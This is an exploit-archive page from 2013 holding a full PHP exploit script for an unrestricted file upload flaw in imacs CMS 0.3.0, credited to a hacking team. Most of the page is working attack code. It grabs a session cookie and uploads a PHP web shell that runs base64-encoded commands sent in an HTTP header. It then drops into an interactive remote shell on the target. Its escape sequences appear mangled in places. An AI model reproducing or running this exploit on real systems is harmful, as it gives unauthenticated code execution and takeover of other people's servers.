[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : imacs CMS 0.3.0 - Unrestricted File Upload Exploit
# Published : 2013-06-19
# Author :
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<?php
/*
,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / ` /
/ XXXXXX /______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'
Exploit Title : imacs CMS Unrestricted File Upload Exploit
Date : 18 June 2013
Exploit Author : CWH Underground
Site : www.2600.in.th
Vendor Homepage : http://jrcmsdev.sourceforge.net/
Software Link : http://jaist.dl.sourceforge.net/project/jrcmsdev/imacs_V0_3_0_608.cmp.zip
Version : 0.3.0
Tested on : Window and Linux
#####################################################
VULNERABILITY: Unrestricted File Upload
#####################################################
/src/assets/mng/mng.php
#####################################################
DESCRIPTION
#####################################################
Restricted access to this script isn't properly realized (Don't require authentication) ,
so an attacker might be able to upload arbitrary files containing malicious PHP code due to uploaded file
extension isn't properly checked.
#####################################################
EXPLOIT
#####################################################
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die("n[-] No response from {$host}:80n");
fputs($sock, $packet);
return stream_get_contents($sock);
}
print "n==============================================n";
print " imacs CMS Unrestricted File Upload Exploit n";
print " n";
print " Discovered By CWH Underground n";
print "==============================================nn";
print " ,--^----------,--------,-----,-------^--, n";
print " | ||||||||| `--------' | O n";
print " `+---------------------------^----------| n";
print " `_,-------, _________________________| n";
print " / XXXXXX /`| / n";
print " / XXXXXX / ` / n";
print " / XXXXXX /______( n";
print " / XXXXXX / n";
print " / XXXXXX / .. CWH Underground Hacking Team .. n";
print " (________( n";
print " `------' nn";
if ($argc < 3)
{
print "nUsage......: php $argv[0] <host> <path>n";
print "nExample....: php $argv[0] localhost /";
print "nExample....: php $argv[0] localhost /imacs/n";
die();
}
$host = $argv[1];
$path = $argv[2];
$payload = "--o0oOo0orn";
$payload .= "Content-Disposition: form-data; name="upload"; filename="sh.php"rn";
$payload .= "Content-Type: application/octet-streamrnrn";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode($_SERVER[HTTP_CMD]));rn";
$payload .= "--o0oOo0o--rn";
$packet = "GET {$path} HTTP/1.0rn";
$packet .= "Host: {$host}rn";
$packet .= "Connection: closernrn{$payload}";
$response = http_send($host, $packet);
if (!preg_match("/Set-Cookie: ([^;]*);/i", $response, $sid)) die("n[-] Session ID not found!n");
$packet = "POST {$path}src/assets/mng/mng.php?dir= HTTP/1.0rn";
$packet .= "Host: {$host}rn";
$packet .= "Cookie: {$sid[1]}rn";
$packet .= "Content-Length: ".strlen($payload)."rn";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0orn";
$packet .= "Connection: closernrn{$payload}";
http_send($host, $packet);
$packet = "GET {$path}content/uploads/sh.php HTTP/1.0rn";
$packet .= "Host: {$host}rn";
$packet .= "Cmd: %srn";
$packet .= "Connection: closernrn";
while(1)
{
print "nimacs-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("n[-] Exploit failed!n");
}
################################################################################################################
# Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
?>